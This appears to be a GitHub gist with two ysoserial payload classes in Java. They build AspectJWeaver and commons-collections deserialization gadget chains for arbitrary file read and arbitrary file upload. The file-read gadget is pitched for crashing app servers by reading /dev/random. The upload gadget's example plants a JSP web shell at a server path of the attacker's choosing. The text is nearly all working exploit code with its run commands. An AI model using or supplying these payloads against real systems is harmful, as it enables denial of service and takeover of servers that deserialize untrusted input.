AspectJWeaver file upload and read deserialization gadgets
package ysoserial.payloads; | |
import org.apache.commons.io.FilenameUtils; | |
import ysoserial.payloads.annotation.Authors; | |
import ysoserial.payloads.annotation.Dependencies; | |
import ysoserial.payloads.util.PayloadRunner; | |
import ysoserial.payloads.util.Reflections; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.aspectj.weaver.tools.cache.SimpleCache; | |
import java.io.Serializable; | |
import java.lang.reflect.*; | |
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.Map; | |
/** | |
* A arbitrary file read gadget using AspectJWeaver and commons. | |
* Useful for forcing app server restarts by reading /dev/random. First param is the file to read: | |
* | |
* Example: | |
* java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileRead1 /dev/random | |
* | |
* Gadget chain: | |
* ObjectInputStream.readObject() | |
* HashSet.readObject() | |
* HashMap.put() | |
* HashMap.hash() | |
* TiedMapEntry.hashCode() | |
* TiedMapEntry.getValue() | |
* SimpleCache$StoreableCachingMap.get() | |
* SimpleCache$StoreableCachingMap.readFromPath() | |
* FileInputStream() | |
* | |
* | |
* Requires: | |
* commons-collections (works with 3.1 or 3.2.x, 4 untested) | |
* aspectjweaver | |
*/ | |
@SuppressWarnings({ "rawtypes", "unchecked" }) | |
@Dependencies({"commons-collections:commons-collections:3.x", "org.aspectj.weaver:aspectjweaver:1.9.5"}) | |
@Authors({ Authors.DOI }) | |
public class AspectJWeaverFileRead1 extends PayloadRunner implements ObjectPayload<Serializable> { | |
public Serializable getObject(final String fullpath) throws Exception { | |
String folder = FilenameUtils.getFullPath(fullpath); | |
String file = FilenameUtils.getName(fullpath); | |
Class<?> innerClass = SimpleCache.class.getDeclaredClasses()[0]; | |
Constructor<?> constructor = null; | |
try { | |
constructor = innerClass.getDeclaredConstructor(String.class, int.class); | |
} catch (NoSuchMethodException e) { | |
e.printStackTrace(); | |
} | |
constructor.setAccessible(true); | |
Object storeableCachingMap = null; | |
try { | |
storeableCachingMap = constructor.newInstance(folder, 10); | |
} catch (InstantiationException e) { | |
e.printStackTrace(); | |
} catch (IllegalAccessException e) { | |
e.printStackTrace(); | |
} catch (InvocationTargetException e) { | |
e.printStackTrace(); | |
} | |
try { | |
// call the super method to avoid creating the file locally | |
Method storeableCachingMapPut = innerClass.getMethod("putIfAbsent", Object.class, Object.class); | |
storeableCachingMapPut.setAccessible(true); | |
storeableCachingMapPut.invoke(storeableCachingMap, file, folder+"/"+file); | |
} catch (NoSuchMethodException e){ | |
e.printStackTrace(); | |
} catch (IllegalAccessException e){ | |
e.printStackTrace(); | |
} catch (InvocationTargetException e){ | |
e.printStackTrace(); | |
} | |
TiedMapEntry entry = new TiedMapEntry((Map) storeableCachingMap, file); | |
HashSet map = new HashSet(1); | |
map.add("foo"); | |
Field f = null; | |
try { | |
f = HashSet.class.getDeclaredField("map"); | |
} catch (NoSuchFieldException e) { | |
f = HashSet.class.getDeclaredField("backingMap"); | |
} | |
Reflections.setAccessible(f); | |
HashMap innimpl = null; | |
try { | |
innimpl = (HashMap) f.get(map); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Field f2 = null; | |
try { | |
f2 = HashMap.class.getDeclaredField("table"); | |
} catch (NoSuchFieldException e) { | |
f2 = HashMap.class.getDeclaredField("elementData"); | |
} | |
Reflections.setAccessible(f2); | |
Object[] array = new Object[0]; | |
try { | |
array = (Object[]) f2.get(innimpl); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Object node = array[0]; | |
if (node == null) { | |
node = array[1]; | |
} | |
Field keyField = null; | |
try { | |
keyField = node.getClass().getDeclaredField("key"); | |
} catch (Exception e) { | |
try { | |
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); | |
} catch (ClassNotFoundException classNotFoundException) { | |
classNotFoundException.printStackTrace(); | |
} | |
} | |
Reflections.setAccessible(keyField); | |
try { | |
keyField.set(node, entry); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
return map; | |
} | |
public static void main(final String[] args) throws Exception { | |
PayloadRunner.run(AspectJWeaverFileRead1.class, args); | |
} | |
} |
package ysoserial.payloads; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.io.FileUtils; | |
import org.apache.commons.io.FilenameUtils; | |
import org.aspectj.weaver.tools.cache.SimpleCache; | |
import ysoserial.payloads.annotation.Authors; | |
import ysoserial.payloads.annotation.Dependencies; | |
import ysoserial.payloads.util.PayloadRunner; | |
import ysoserial.payloads.util.Reflections; | |
import java.io.File; | |
import java.io.Serializable; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationTargetException; | |
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.Map; | |
/** | |
* A arbitrary file upload gadget using AspectJWeaver and commons. | |
* Takes two parameters, the first being the file to be uploaded (on your local host) and the second being the path | |
* where the file will be uploaded when the gadget is deserialized. | |
* | |
* Greets to nightst0rm, who also discovered this gadget chain: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 | |
* | |
* Example: | |
* java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileUpload1 './myshell.jsp;/some/path/on/the/server/whatever.jsp' | |
* | |
* Gadget chain: | |
* ObjectInputStream.readObject() | |
* HashSet.readObject() | |
* HashMap.put() | |
* HashMap.hash() | |
* TiedMapEntry.hashCode() | |
* TiedMapEntry.getValue() | |
* LazyMap.get() | |
* SimpleCache$StoreableCachingMap.put() | |
* SimpleCache$StoreableCachingMap.WriteToPath() | |
* FileOutputStream() | |
* | |
* Requires: | |
* commons-collections (works with 3.1 or 3.2.x, 4 untested) | |
* aspectjweaver | |
*/ | |
@SuppressWarnings({ "rawtypes", "unchecked" }) | |
@Dependencies({"commons-collections:commons-collections:3.x", "org.aspectj.weaver:aspectjweaver:1.9.5"}) | |
@Authors({ Authors.DOI }) | |
public class AspectJWeaverFileUpload1 extends PayloadRunner implements ObjectPayload<Serializable> { | |
public Serializable getObject(final String args) throws Exception { | |
String[] argArray = args.split(";"); | |
if(argArray.length != 2){ | |
throw new IllegalArgumentException("Bad command format. Need exactly two parameters, '<file to upload>;<path to upload to>'"); | |
} | |
String filePath = argArray[0]; | |
String uploadPath = argArray[1]; | |
String uploadFolder = FilenameUtils.getFullPath(uploadPath); | |
String uploadFile = FilenameUtils.getName(uploadPath); | |
// read the file to be uploaded | |
byte[] fileData = FileUtils.readFileToByteArray(new File(filePath)); | |
Class<?> innerClass = SimpleCache.class.getDeclaredClasses()[0]; | |
Constructor<?> constructor = null; | |
try { | |
constructor = innerClass.getDeclaredConstructor(String.class, int.class); | |
} catch (NoSuchMethodException e) { | |
e.printStackTrace(); | |
} | |
constructor.setAccessible(true); | |
Object storeableCachingMap = null; | |
try { | |
storeableCachingMap = constructor.newInstance(uploadFolder,10); | |
} catch (InstantiationException e) { | |
e.printStackTrace(); | |
} catch (IllegalAccessException e) { | |
e.printStackTrace(); | |
} catch (InvocationTargetException e) { | |
e.printStackTrace(); | |
} | |
ConstantTransformer transformer = new ConstantTransformer(fileData); | |
final Map lazyMap = LazyMap.decorate((Map) storeableCachingMap, transformer); | |
TiedMapEntry entry = new TiedMapEntry(lazyMap, uploadFile); | |
HashSet map = new HashSet(1); | |
map.add("foo"); | |
Field f = null; | |
try { | |
f = HashSet.class.getDeclaredField("map"); | |
} catch (NoSuchFieldException e) { | |
f = HashSet.class.getDeclaredField("backingMap"); | |
} | |
Reflections.setAccessible(f); | |
HashMap innimpl = null; | |
try { | |
innimpl = (HashMap) f.get(map); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Field f2 = null; | |
try { | |
f2 = HashMap.class.getDeclaredField("table"); | |
} catch (NoSuchFieldException e) { | |
f2 = HashMap.class.getDeclaredField("elementData"); | |
} | |
Reflections.setAccessible(f2); | |
Object[] array = new Object[0]; | |
try { | |
array = (Object[]) f2.get(innimpl); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
Object node = array[0]; | |
if(node == null){ | |
node = array[1]; | |
} | |
Field keyField = null; | |
try{ | |
keyField = node.getClass().getDeclaredField("key"); | |
} catch(Exception e){ | |
try { | |
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); | |
} catch (ClassNotFoundException classNotFoundException) { | |
classNotFoundException.printStackTrace(); | |
} | |
} | |
Reflections.setAccessible(keyField); | |
try { | |
keyField.set(node, entry); | |
} catch (IllegalAccessException illegalAccessException) { | |
illegalAccessException.printStackTrace(); | |
} | |
return map; | |
} | |
public static void main(final String[] args) throws Exception { | |
PayloadRunner.run(AspectJWeaverFileUpload1.class, args); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
Add the following to
pom.xml
to build:under non-gadget dependencies:
and under gadget dependencies: